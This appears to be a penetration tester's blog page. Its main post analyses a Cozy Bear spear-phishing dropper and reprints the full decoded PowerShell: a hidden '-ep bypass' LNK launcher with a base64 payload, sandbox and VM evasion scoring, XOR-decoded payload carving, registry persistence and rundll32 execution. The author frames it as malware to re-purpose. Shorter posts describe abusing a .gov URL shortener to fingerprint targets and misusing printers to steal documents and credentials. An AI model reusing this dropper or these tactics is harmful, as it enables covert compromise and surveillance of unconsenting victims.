Bear’s election campaign – (1/4)

In the wake of the 2016 United States Presidential Election, not even six hours after Donald Trump became the nation’s President-Elect, an advanced persistent threat (APT) group launched a series of coordinated and well-planned spear phishing campaigns. Volexity observed five different attack waves with a heavy focus on U.S.-based think tanks and non-governmental organizations (NGOs). These e-mails came from a mix of attacker created Google Gmail accounts and what appears to be compromised e-mail accounts at Harvard’s Faculty of Arts and Sciences (FAS). – Volexity (

This is part 1 of likely a multi part look at Cozy Bear and how to learn from them to make your RedCell/Penetration testing more “real world” by emulating them. To the point of re-purposing their malcode for yourself. So many pen testing teams rely heavily on the open source tools msfvenom/PowerShell empire/mimikatz, etc, but don’t go to the source and directly rip off the malware from APT’s and criminal organizations. I figure, why reinvent the wheel?

This is the one particular zip and contents that I am looking at. Screenshot via Volexity blog.

Our first hurdle is to get the payload out of the password protected zip. Usually they put the PIN in the message body of the phish email with some sort of bs info such as “use this to get your confidential document.” However, if we are pulling the malware off of a site like VirusTotal we don’t have access to that PIN/password. This is common with current ransomware phishing emails as well. I’ve never seen this payload type used, but I suspect that we will shortly. In the past both the APT’s and Ransomware pushers have been heavily reliant on scripts and macro docs to get the dropper to disk. The benefits of this sample would be that the script doesn’t have to go out and pull down malware, it is already all embedded in the one file.

Onto cracking the PIN even though Volexity lists it. We will pretend we don’t have it for the sake of the article.

Generate a PIN possibility wordlist via crunch.
root@kali:~# crunch 2 5 0123456789 > ~/Desktop/pin_combos_2_5.txt


Now that we have a sufficient pin list we move onto cracking the zip via fcrackzip in kali2.
root@kali:~/Desktop# fcrackzip -v -D -u -p pin_combos_2_5.txt '/root/Desktop/37486.ZIP'


Now we have our new PIN 6190, so lets pull out the LNK file and verify with the hex editor what is going on before digging in. Yup… Powershell referenced immediately as an argument to a LNK file.

Here’s what it looks like on the Windows side of the house. One thing should be a give away. A shorcut file that is over half a mb large. A legit shortcut is smaller than one kb.

Here’s something I can’t wrap my brain around. As of 11/11 the zip file is scoring 2/55 on VT, and the actualy payload once you pull it out… is getting ZERO detections. I am guessing that the two AV’s detecting the zip are purely going off hash values since they are relatively no name AV companies.

Summation of how this dropper gets to disk.

  • LNK file is large, pretends to point to an RTF with a bs tagline about the election
  • LNK actually points to Powershell and feeds it a base64 string to decode
  • That Powershell carves out from the big LNK file an additional base64 section at the bottom which is more Powershell
  • That script does some vm detection, looks for a typical sandbox environment, etc.
  • If it “scores” low enough an executable section of the LNK is carved out, xor decoded (key is 41), and then run via rundll32 with the argument #2
  • File is saved as a .lck in %APPDATA\Roaming\Skype\” and persistence via the registry RUN key
  • User is presented with a carved out RTF with a real article to keep them from being suspicious.

So once we have extracted the LNK file and start digging we immediately discover something clever.

This article initially is just focusing on the unique drop method, and not the Cozy Dukes backdoor.

Starting off, we right click on the LNK file and look at the “target” property which under normal circumstances would point to the RTF file it pretends to link to. What we find is the following code. Since we see the PowerShell code isn’t finished off with the ‘) we look into a hex editor and pull out the rest.

via target attribute

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdna

via hex editor we get the whole thing…

C:\Windows\System32\WindowsPowerShell\v10\powershellexeK\\\\\\\Windows\System32\WindowsPowerShell\v10\powershellexe÷-noni -ep bypass -win hidden $s = [TextEncoding]::ASCIIGetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdnaW5nLWluLWFtZXJpY2EucnRmLmxuayI7aWYgKC1ub3QoVGVzdC1QYXRoICRmKSl7JHggPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRFbnY6dGVtcCAtRmlsdGVyICRmIC1SZWN1cnNlO1tJTy5EaXJlY3RvcnldOjpTZXRDdXJyZW50RGlyZWN0b3J5KCR4LkRpcmVjdG9yeU5hbWUpO30kaWZkID0gTmV3LU9iamVjdCBJTy5GaWxlU3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7JHggPSBOZXctT2JqZWN0IGJ5dGVbXSgkb2UtJG9zKTskaWZkLlNlZWsoJG9zLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRpZmQuUmVhZCgkeCwwLCRvZS0kb3MpOyR4PVtDb252ZXJ0XTo6RnJvbUJhc2U2NENoYXJBcnJheSgkeCwwLCR4Lkxlbmd0aCk7JHM9W1RleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHgpO2lleCAkczs='); iex $s;

Decoded via python (base64.b64decode(‘arg’)) the base64 string decoded and formatted is as follows:

if (-not(Test-Path $f))
    $x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;

    $ifd = New-Object IO.FileStream $f,\'Open\',\'Read\',\'ReadWrite\';
    $x = New-Object byte[]($oe-$os);
    iex $s;'

The powershell script is streaming data from the lnk file to create a new object. It is reading in from $oe-$os or 0x000a1916-0x0009fdda, and then base64decoding and running it. Inside our hex we go to a1916 which is the end, and then go back to 9fdda which is the beginning of the carve.

It’s all pretty straight forward and does what I mentioned above, some sandbox/vm checks, and then carving out the malicious dropper and putting it in %APPDATA%\\Skype\\hqwhbr.lck, along with persistence. You can see where it is carving out the .lck file which is the dropper and xor decoding it with the key 41. I found the key quickly using XORsearch because I didn’t read the code first. Lazy, or efficient? Not sure… Either way, if you don’t heavily use Didier’s tools you should. All of his tools are gold, and he is one productive guy.

This script is not the creative part in this campaign, it is the method of making a LNK link to powershell and then carve out of itself which I haven’t seen. This LNK file is still getting a 0 on VT. The dropper hasn’t been uploaded to VTI yet and I wasn’t going to be the first but I would imagine it is still fairly low since the C2 and URL related commands are all encoded in the binary until run time. I’ll dig into that during a later post, but it is fairly well documented for this actor.

After decoding, and prettying up the PowerShell we get the following code. Apologies if the brackets are occasionally in the wrong place, it was kind of a mess for me with find and replace.

function pl_dropper ($ifd, $os, $len, $dpath) {
    $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
    $pdir = Split-Path -Parent $dpath
    if ($pdir) {
        $b = Test-Path $pdir
    else {
        $b = $True

  if (!$b) {
         New-Item -ItemType directory -Path $pdir | out-null

    $name = Split-Path -Leaf $dpath

    $pathlist = @($dpath, "%APPDATA%\\$name", "%TEMP%\\$name")
    ForEach ($dpath in $pathlist) {

        $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
        try {
            $ofd = [IO.File]::Open($dpath, [IO.FileMode]::OpenOrCreate, [IO.FileAccess]::Write);
        catch [Exception] {

        CopyFilePart $ifd $os $len $ofd


    return $dpath


function CreateFile($path, $acc)


    $MethodDefinition = @\'
    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    public static extern Microsoft.Win32.SafeHandles.SafeFileHandle CreateFile(
        string fileName,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAccess fileAccess,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileShare fileShare,
        IntPtr securityAttributes,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileMode creationDisposition,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAttributes flags,
        IntPtr template);


    $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name \'Kernel32\' -Namespace \'Win32\' -PassThru

    $handle = $Kernel32::CreateFile($path, $acc,[IO.FileShare]::ReadWrite, 0,[IO.FileMode]::OpenOrCreate,[IO.FileAttributes]::Normal,0)

    $fs = New-Object IO.FileStream($handle, $acc)
    return $fs


function xor_decode($b, $l, $k) {
    for($i = 0; $i -lt $l; $i++) {
        $b[$i] = $b[$i] -bxor $k



function CopyFilePart([IO.FileStream] $ifd, $os, $len, [IO.FileStream] $ofd)
    $tmpbuf = New-Object byte[] 8182
    $buflen = $tmpbuf.Length

    $ifd.Seek($os, [IO.SeekOrigin]::Begin) | out-null
    while ($len -gt 0) {
        $ifd.Read($tmpbuf, 0, $buflen) | out-null

      xor_decode $tmpbuf $buflen 0x41
        $ofd.Write($tmpbuf, 0, $buflen)
        $len -= $buflen
        if ($buflen -gt $len) {
            $buflen = $len


function get_susp_rating() {
    $score = 0

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_BIOS"
    ForEach ($x in $lst) {
        $tmp = $x.SMBIOSBIOSVersion.ToLower()
        if ($tmp.contains("virtualbox") -or $tmp.contains("vmware")) { $score += 2 }

        $tmp = $x.SerialNumber.ToLower()
        if ($tmp.contains("vmware")) { $score += 2 }

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_PnPEntity"
    ForEach ($x in $lst) {
        if ($x.DeviceId.contains("PCI\\VEN_80EE&DEV_CAFE")) { $score += 2}

    if ($score -gt 2) {return $score}
        $myarr = @("user", "admin", "administrator", "user1")

    $lst = gwmi -namespace root\\cimv2 -query "Select * from Win32_ComputerSystem"
    ForEach ($comp in $lst) {

if (!$comp.PartOfDomain) {
            $score += 1

        $tmp = $comp.UserName.ToLower()
        if ($tmp.contains("admin")) {
            $score += 2

        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 1

    if ($score -gt 2) {return $score}

    $myarr = @("procexp.exe", "taskmgr.exe", "wireshark.exe")

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_Process"
    ForEach ($item in $lst) {
        $tmp = $item.ExecutablePath
        if (!$tmp) { $tmp = "" }
        $tmp = $tmp.ToLower()
        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 3




    if ($score -gt 2) {return $score}
        $myarr = @("sample")

    $tmp = (Get-Item -Path ".\\" -Verbose).FullName
    ForEach ($x in $myarr) {
        if ($tmp.contains($x)) {
            $score += 1

    $nm = Split-Path -Leaf $x
    $l = $nm.Split(\'.\')[0].Length
    if ($l -eq 32 -or $l -eq 40 -or $l -eq 64) {
        $score += 3
    return $score;

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    Exit 0

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {

$acc = [IO.FileAccess]::READ

$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;
$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"
$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
&"rundll32.exe" "$cfpath," "#2"

Thoughts on Krebs article about .gov URL shortener abuse

——————Update: 19 Apr 2016

Nearly a month later the same spam campaign is still attempting to use the virginia government website to refer spam victims to their and domains.. Either people are reading spammy emails a month late, or the idiots in charge of the campaign haven’t changed their spam campaign despite it not properly using the referral.

Of note, some other pushers seem to be trying to exploit the referral mechanism of an EPA website, but failing as well..


One other thing that I was thinking about with regards to reconnaissance is the Witchcoven campaign that fire eye reported on.

Although the profiling that you can do with the method I detailed below is much more limited than what the Witchcoven actors are using, there is one distinct advantage with my method. There is no infrastructure or indicators to uncover since you don’t need to compromise a legit server or even buy your own profiling servers. With no easy way to link the reconnaissance to the next step which would be delivering the targeted recipients an exploit based on their android kernel and browser it would be significantly harder to figure out if victims are random targets of opportunity or chosen…

——————–end update

——————Update: 31 March 2016

I found another “fun” use for the data coming off the developer stream for the gov shortener 1usagov.

Everybody talks about how bad the Android ecosystem is for updates, and that the majority of phones in the field are vulnerable to something or other. It is nice to see the data myself though. By curl’ing the developer stream and then grep’ing for Android versions it’s pretty apparent. I’m not even going to bother making iOS comparisons cause that has been done to death. Needless to say the world is ripe for the droid malware ecosystem or worse.


curl --url | grep -o 'Android [0-9].[0-9].[0-9]'


XP is dead, long live XP!
——————–end update

Brian Krebs reported on this issue last week and I did some poking today so I thought I would write a small article.

As reported by Krebs, offers a URL shortener to government addresses such as .gov, .mil, etc. The main security issue as reported by Krebs is that if a spammer or malware pusher can find any sort of local or state government site that offers shortening services to any site, they can then in turn use the service to shorten it into a more legitimate looking address.

On my linux box I ran the following command to find an active spam operation.

curl --url | grep "VAURL

The results were a Russian spam operation attempting to abuse a domain, but failing at it since the virginia website was not correctly directing to their URL’s.

Domains associated with this particular Russian IP, and the spam campaign.

The more interesting thing for me isn’t the shortening tactic, but the developer view that Krebs reported.

If IP’s were included this would be pretty close to the ideal control panel that you would want for running a malware/spam campaign.

What is interesting about this to me?

I can use a LEGITIMATE and unique url for a government website, send it to someone after doing the shortening which gives it the…. and then know all the information about their browser, and their timezone. Normally I would have to use BEEF, cookies, etc.. Now I can do it without using cookies, or owning any public domains/IP’s.

My idea in practice.

Find a random unique gov address:

Shorten it through

Curl the developer API website for the unique URL:

curl --url | grep ""

And sure enough………. I get a hit on my OS, browser, language, and timezone which could be useful info to then target further messages for a spam campaign or malware. Since this is a unique address I sent to one person I know there won’t be a false positive. Well, at least there wasn’t going to be until I posted it in this blog.. 😉


TAAS – Tracking As A Service. Is that a thing?

HP JetDirect in the news… when it isn’t actually news

Last week my twitter feed had a posting noting an article which got coverage about thousands of HP printers allowing anonymous ftp access via the JetDirect protocol.Screen Shot 2016-02-07 at 14.55.37

This was a bit surprising. Not cause of the vulnerability, but because it was making the news since it was actually really old information. The vulnerability in the JetDirect protocol (port 9100) used by HP Printers has been known for years. I first learned about it in 2012 from a team member on a Red Cell, no idea how long he had known about it. Here is an article explaining it in 2013.

Not ragging on the guy that reported it, but all of his headline making security news articles have been nothing more than searching Shodan results for already known issues.

The vulnerability is semi useful on internal networks for hosting malicious files (sometimes code coming from an internal IP is trusted or evades CIRT scrutiny). In theory this makes them the ideal place for miscreants to host malware since http(s) traffic is the best way to blend in with normal traffic and avoid firewall rules.

What this article failed to acknowledge is that 95 out of 100 times uploading a very small file to the HP through JetDirect will crash the service and the server from my testing. In my opinion the threat that these unsecured printers pose on the internet is minimal at best with regards to this. The miscreants that push malware can buy cheap server space using stolen credit cards or anonymous payment methods. Additionally, real web servers that can handle traffic can be infected via WordPress vulnerabilities and misconfigurations nearly as easily as these HP printers with the aid of for targeting. The last thing a criminal wants is for the spear phishing to be successful but the infections to fail due to crappy hosting for the malware.

A more accurate assessment of this threat would be to comb the Shodan results for “Port:9100” looking for malicious files hosted on these HP printers. I am guessing the number would be nearly non-existent and not cause the malware pushers don’t know about the opportunity. Cause it isn’t worth their time.

IMHO a more worthy use of multi function devices for malicious purposes would be trying to configure any digital sender functionality to go through your personal SMTP gateway so that you can take copies of internal documents. If they are using LDAP for authentication that also opens up the possibility of stealing credentials if you can pipe the queries through the attacker box.

Screen Shot 2016-02-07 at 16.56.38

Another printer bites the dust after uploading a file…

Thoughts on expanding your scope

I know I have been fairly inactive on here lately, so I figured I would start the new year off on the right foot by posting an article even if it is rather non technical.

Clients looking to have an assessment of their IT infrastructure and personnel via a penetration test always have to spell out what is in scope so nobody gets into legal issues or crashes production systems. Unfortunately when you are the good guy you have pesky things to worry about that Sergey in his Adidas tracksuit never has to think about. “What if my banking RAT spreads onto the HR systems and accidentally steals PII?” – said no attacker ever. In the long run clients usually want a test to be as real world as possible, but they certainly don’t want to have downtime or lose money. It is a reasonable accommodation because as Wu-Tang elegantly puts it Cash Rules Everything Around Me (CREAM).

Things can get a bit more ambiguous with scope if you are using enterprise services from third parties (Google EC2, Dropbox Enterprise, etc) but most of them do have fine print and proper forms which can be filled out which would allow the penetration test to include your assets hosted on their servers. Let’s face it, the day and age of a static IP range of company owned hardware is behind us for the most part. On top of this modern organizations have a complex and sometimes undocumented attack surface which includes servers and services co-located, leased, virtualized, and on-demand which can encompass multiple countries with their varying cyber laws.

What a client tells you is their IT assets rarely lines up with all the potential ways they can be digitally compromised.

On a recent assessment I came across some vulnerabilities unknowingly (to the client) created by the company they contracted to create the website and mobile app. This got me thinking about how rarely anyone includes third party developers in the scope of a penetration test even though they often times still maintain and keep clones or testing versions of your target.

You come in as a pen tester to look at the finished or nearly complete website/app that is provided to you by the client. That’s great and all, but don’t forget that at some point there was likely dozens of versions created and tested back at the web/app developers network. Unless you make an effort to uncover where those assets are you might be missing out on an expanded attack surface in your assessment.

What I am not saying is that without clearly defined guidelines can you can compromise an outside developers network in order to gain access to your client. What I am saying is that at a minimum you should be looking at them for data which can be leveraged in a pen test. If your client paid to have a website created, and a clone of it is sitting on a separate subdomain you should attempt to have that included in the scope. If that is not doable, then there is plenty that you can do as a sort of pentest light which keeps you legally cleared. Below are the very well known tools that can be done passively (ish) and still give you good results. Notice I am not mentioning using burp for sql injection or anything agressive.

Passive Recon of Developer Networks: (the old site is still more functional) – look to see what lives in the IP range of your client AND the company that made the website/app. Look at the reverse lookups to determine if the company had something live This can also be a place to find developer companies with duplicates of your clients SSL certificates….. – Not even sure I have to say this. What can not be overstated is that if there is a glaring vulnerability documented by shodan that you are certainly not the first to find this. In addition to the dangers of leaking data, database structures of the testing db (can help with sql injection on the production network), don’t underestimate the dangers of giving access to a test database. How is the testing/dev backend being brought online for production? As is the case currently, thousands of MongoDB’s have anonymous read/write access. What’s to stop me from putting in an account on the testing database if I know it is going to be replicated over once it goes into production?

Case in point, here is a common sight if you do db searches.Screen Shot 2016-01-02 at 17.38.16 – Don’t laugh. Use special searches to look for juicy info that might be unlinked, or intended to be internal. I have found dozens of sensitive documents, PII spills, and change request docs using this method. Example: Internal Use Only Google has a knack for indexing documents which companies forget about because they are not linked to websites anymore. Even if it is gone now you might be able to get the text of the document cached if you are lucky. On a recent assessment I found the developers decided to put all their internal Change docs off of an indexed directory for some odd reason. In one of those documents they duly noted that they Backdoored the website with the account “Developer:1234”. To think i was wasting time reversing an Android apk file to look for credentials….

Webburp spider – The staple in every webapp testing toolset. Let the spider run on the domain of your client, AND the developer’s website. Developers have a way of leaving behind testing url’s or directories inside comments in javascript files for some reason.

Maybe more to come… Have fun.

Mallory in the Mobile (MitM)

No, I’m not trying to re-invent the MitM initialism. However, I do want to detail setting up the Mallory intercepting proxy for use in mobile application assessments. Mallory is a useful tool for intercepting non-HTTP traffic. On a recent engagement, I had a need to proxy IMAP/S traffic to determine how the mobile application I was testing handled messaging. Alas, trusty Burp suite couldn’t help me here, so I turned to Mallory, as Mallory can intercept and tamper with non-HTTP protocol traffic.

Continue reading Mallory in the Mobile (MitM)